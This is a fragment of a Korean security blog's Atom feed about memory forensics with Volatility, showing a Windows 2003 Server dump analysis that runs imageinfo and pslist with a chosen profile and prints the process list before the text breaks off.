&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZv7z4kINEY2aJar5naEacG3ShQgb6-YmlNudyXzWkmC0GbWhX32x2yq1BV6qPTyhGthr-Ogic6ttuagOWD7L1Tg5FXYLHYzBYbeq7rUA_Hmoo3F-gJmjdyhNJYDhX4cSJcJ1fW5XGAQ/s1600/vol_linux_02.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZv7z4kINEY2aJar5naEacG3ShQgb6-YmlNudyXzWkmC0GbWhX32x2yq1BV6qPTyhGthr-Ogic6ttuagOWD7L1Tg5FXYLHYzBYbeq7rUA_Hmoo3F-gJmjdyhNJYDhX4cSJcJ1fW5XGAQ/s1600/vol_linux_02.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
덤프된 이미지를 통해 확인해 보았습니다. 덤프 이미지는 fmem을 통해 덤프한 이미지를 이용했습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDuv2xx1jkEbhcZguj1f-0l23MXEo_b47T42d376puXZe1P4A5YIP7RjVPKUHOoC9e51tMBNLUf0Rg2S5Yz7LJr9t-xYYh6E3kuJlcBMx8YcmiGsiiVuTW1eO0TVbjZ4eKaNezpmg1eA/s1600/vol_linux_03.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDuv2xx1jkEbhcZguj1f-0l23MXEo_b47T42d376puXZe1P4A5YIP7RjVPKUHOoC9e51tMBNLUf0Rg2S5Yz7LJr9t-xYYh6E3kuJlcBMx8YcmiGsiiVuTW1eO0TVbjZ4eKaNezpmg1eA/s1600/vol_linux_03.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
아직 많은 플러그인들을 지원하진 않지만 필요한 경우 유용하게 사용할 수 있지 않을까 생각됩니다.&lt;br /&gt;
1차적인 테스트는 끝났으니 실제 루트킷 설치나 침해서버를 만든 후 이미지 덤프해서 분석 해봐야겠습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://malwarel4b.blogspot.com/feeds/8660730945703352283/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://malwarel4b.blogspot.com/2012/09/volatility-22-rc2-linux-profile.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/8660730945703352283'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/8660730945703352283'/><link rel='alternate' type='text/html' href='http://malwarel4b.blogspot.com/2012/09/volatility-22-rc2-linux-profile.html' title='Volatility 2.2 RC2 - Linux Profile 생성'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/11107488344732828605</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMS3FaFZrXTHtsB-NAskYEEDKRj8cGX5P8N9ESiAkSijsl_yAhDXf_1XSBnCJ_gAmEI8I5DEWRTgf2Qzh4UeZWkXjwJUgN2pmak2l-pZ3Nx-jmyEDqwwJmvikmLFCgrPI_2T_ZORf0ZA/s72-c/vol_linux_01.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-53199605500372722.post-5315406509470549917</id><published>2012-05-14T10:50:00.003+09:00</published><updated>2012-11-30T12:13:19.792+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="forensics"/><category scheme="http://www.blogger.com/atom/ns#" term="memory"/><category scheme="http://www.blogger.com/atom/ns#" term="memory forensics"/><category scheme="http://www.blogger.com/atom/ns#" term="volatility"/><category scheme="http://www.blogger.com/atom/ns#" term="포렌식"/><title type='text'>Volatility를 이용한 Windows 2003 메모리 덤프 분석</title><content type='html'>&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
요즘은 침해사고조사시 메모리 덤프를 뜨는 경우가 많습니다.&amp;nbsp;디스크 이미징에 비해 용량은 작지만 생각보다 많은 정보들을 가지고 있기 때문이죠.. 물론 침해사고 인지 후 시스템을 끄거나 재부팅을 하지 않을 상태여야만 많은 정보들을 획득할 수가 있습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
이런 메모리 덤프 이미지를 분석할때 가장 많이 쓰이는게 Volatility가 아닐까 생각됩니다.&lt;/div&gt;
&lt;div&gt;
그리고 현재 가장 많이 쓰이는 윈도우 서버는 Windows 2003 Server일 것이구요..&lt;/div&gt;
&lt;div&gt;
얼마전까지 Volatility에서 Windows 2003 메모리 덤프는 분석이 안된다...상용으로 구매해야 분석이 된다...라고 알고 있었습니다. (아직도 공부해야 할게 많다는 결론이...)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Volatility를 이용해서 덤프된 메모리를 분석하기 위해 명령 실행시 아래와 같은 메시지를 접하게 되었습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&lt;b&gt;root@LUCKYSTRIKE:/mem_dump# python /data/forensics/volatility_2.1_alpha/vol.py pslist -f memdump.mem&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;No suitable address space mapping found&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;Tried to open image as:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;WindowsHiberFileSpace32: No base Address Space&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;WindowsCrashDumpSpace32: No base Address Space&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;AMD64PagedMemory: No base Address Space&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;JKIA32PagedMemory: No base Address Space&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;IA32PagedMemoryPae: Module disabled&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;JKIA32PagedMemoryPae: No base Address Space&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;IA32PagedMemory: Module disabled&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;WindowsHiberFileSpace32: No xpress signature found&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;WindowsCrashDumpSpace32: Header signature invalid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;AMD64PagedMemory: Incompatible profile WinXPSP2x86 selected&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;JKIA32PagedMemory: No valid DTB found&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;IA32PagedMemoryPae: Module disabled&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;JKIA32PagedMemoryPae: No valid DTB found&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;IA32PagedMemory: Module disabled&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;FileAddressSpace: Must be first Address Space&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
저와 같은 경험이 있으신 분들이 계실거라 생각됩니다. 덤프된 이미지를 제대로 인식하지 못해서 발생되는 현상입니다. 이런 경우 다음 절차를 통해 분석을 진행하실 수 있습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
먼저, Volatility의 imageinfo 플러그인으로 이미지 파일을 확인합니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&lt;b&gt;root@LUCKYSTRIKE:/mem_dump# python /data/forensics/volatility_2.1_alpha/vol.py &lt;span style=&quot;color: red;&quot;&gt;imageinfo&lt;/span&gt; -f memdump.mem&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;Determining profile based on KDBG search...&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Suggested Profile(s) : Win2003SP0x86, Win2003SP1x86, Win2003SP2x86&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;AS Layer2 : FileAddressSpace (/mem_dump/memdump.mem)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; PAE type : PAE&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;DTB : 0x3ad000&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; KDBG : 0x808943e0L&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; KPCR : 0xffdff000L&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;KUSER_SHARED_DATA : 0xffdf0000L&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Image date and time : 2012-04-30 02:22:27 UTC+0000&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Image local date and time : 2012-04-30 11:22:27 +0900&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Number of Processors : 4&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Image Type : Service Pack 2&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Windows2003 SP2 x86버전의 메모리라고 이야기해줍니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
--profile 옵션을 통해 다시 분석을 진행합니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&lt;b&gt;root@LUCKYSTRIKE:/mem_dump# python /data/forensics/volatility_2.1_alpha/vol.py -f memdump.mem &lt;span style=&quot;color: red;&quot;&gt;--profile=Win2003SP2x86 pslist&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;Offset(V) &amp;nbsp;Name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; PID &amp;nbsp; &amp;nbsp;PPID &amp;nbsp; Thds &amp;nbsp; Hnds &amp;nbsp; Time&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;---------- -------------------- ------ ------ ------ ------ -------------------&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x89f889b0 System &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0 &amp;nbsp; &amp;nbsp; 83 &amp;nbsp; 3244 1970-01-01 00:00:00 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x89bfa100 smss.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;300 &amp;nbsp; &amp;nbsp; &amp;nbsp;4 &amp;nbsp; &amp;nbsp; &amp;nbsp;3 &amp;nbsp; &amp;nbsp; 19 2012-04-30 02:06:46 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x89bd3d88 csrss.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 348 &amp;nbsp; &amp;nbsp;300 &amp;nbsp; &amp;nbsp; 14 &amp;nbsp; &amp;nbsp;728 2012-04-30 02:06:48 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x89cb2bc8 winlogon.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;376 &amp;nbsp; &amp;nbsp;300 &amp;nbsp; &amp;nbsp; 20 &amp;nbsp; &amp;nbsp;489 2012-04-30 02:06:49 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x89c53450 services.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp;376 &amp;nbsp; &amp;nbsp; 17 &amp;nbsp; &amp;nbsp;454 2012-04-30 02:06:50 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x89b865a8 lsass.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 436 &amp;nbsp; &amp;nbsp;376 &amp;nbsp; &amp;nbsp; 30 &amp;nbsp; &amp;nbsp;583 2012-04-30 02:06:51 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x89c52868 svchost.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 588 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;6 &amp;nbsp; &amp;nbsp;101 2012-04-30 02:06:53 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x88a5d660 svchost.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 672 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 11 &amp;nbsp; &amp;nbsp;264 2012-04-30 02:06:54 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x88a3fa20 svchost.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 744 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;9 &amp;nbsp; &amp;nbsp;150 2012-04-30 02:06:54 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x88a37020 svchost.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 760 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 12 &amp;nbsp; &amp;nbsp;147 2012-04-30 02:06:54 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x88a32978 svchost.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 796 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 63 &amp;nbsp; 1078 2012-04-30 02:06:54 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x88a22458 spoolsv.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 912 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 12 &amp;nbsp; &amp;nbsp;135 2012-04-30 02:06:55 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x88a118a8 msdtc.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 936 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 15 &amp;nbsp; &amp;nbsp;183 2012-04-30 02:06:55 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x889fd6a0 acaas.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1076 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 29 &amp;nbsp; &amp;nbsp;467 2012-04-30 02:06:56 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x889f9418 v3clnsrv.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1088 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;3 &amp;nbsp; &amp;nbsp; 70 2012-04-30 02:06:56 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x889ed500 acaegmgr.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1116 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;2 &amp;nbsp; &amp;nbsp; 41 2012-04-30 02:06:57 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x889d3568 acais.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1136 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;9 &amp;nbsp; &amp;nbsp; 94 2012-04-30 02:06:57 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x889d1d48 AhnSDsv.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1152 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;2 &amp;nbsp; &amp;nbsp; 46 2012-04-30 02:06:57 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x889e9bc8 AYServiceNT.aye &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1172 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 10 &amp;nbsp; &amp;nbsp;168 2012-04-30 02:06:57 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x889d7608 DuzonFileServer &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1212 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;4 &amp;nbsp; &amp;nbsp;278 2012-04-30 02:07:02 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x8899c3c8 DuzonMessenger. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1296 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;2 &amp;nbsp; 1083 2012-04-30 02:07:05 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x888e6020 svchost.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1320 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;2 &amp;nbsp; &amp;nbsp; 79 2012-04-30 02:07:05 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
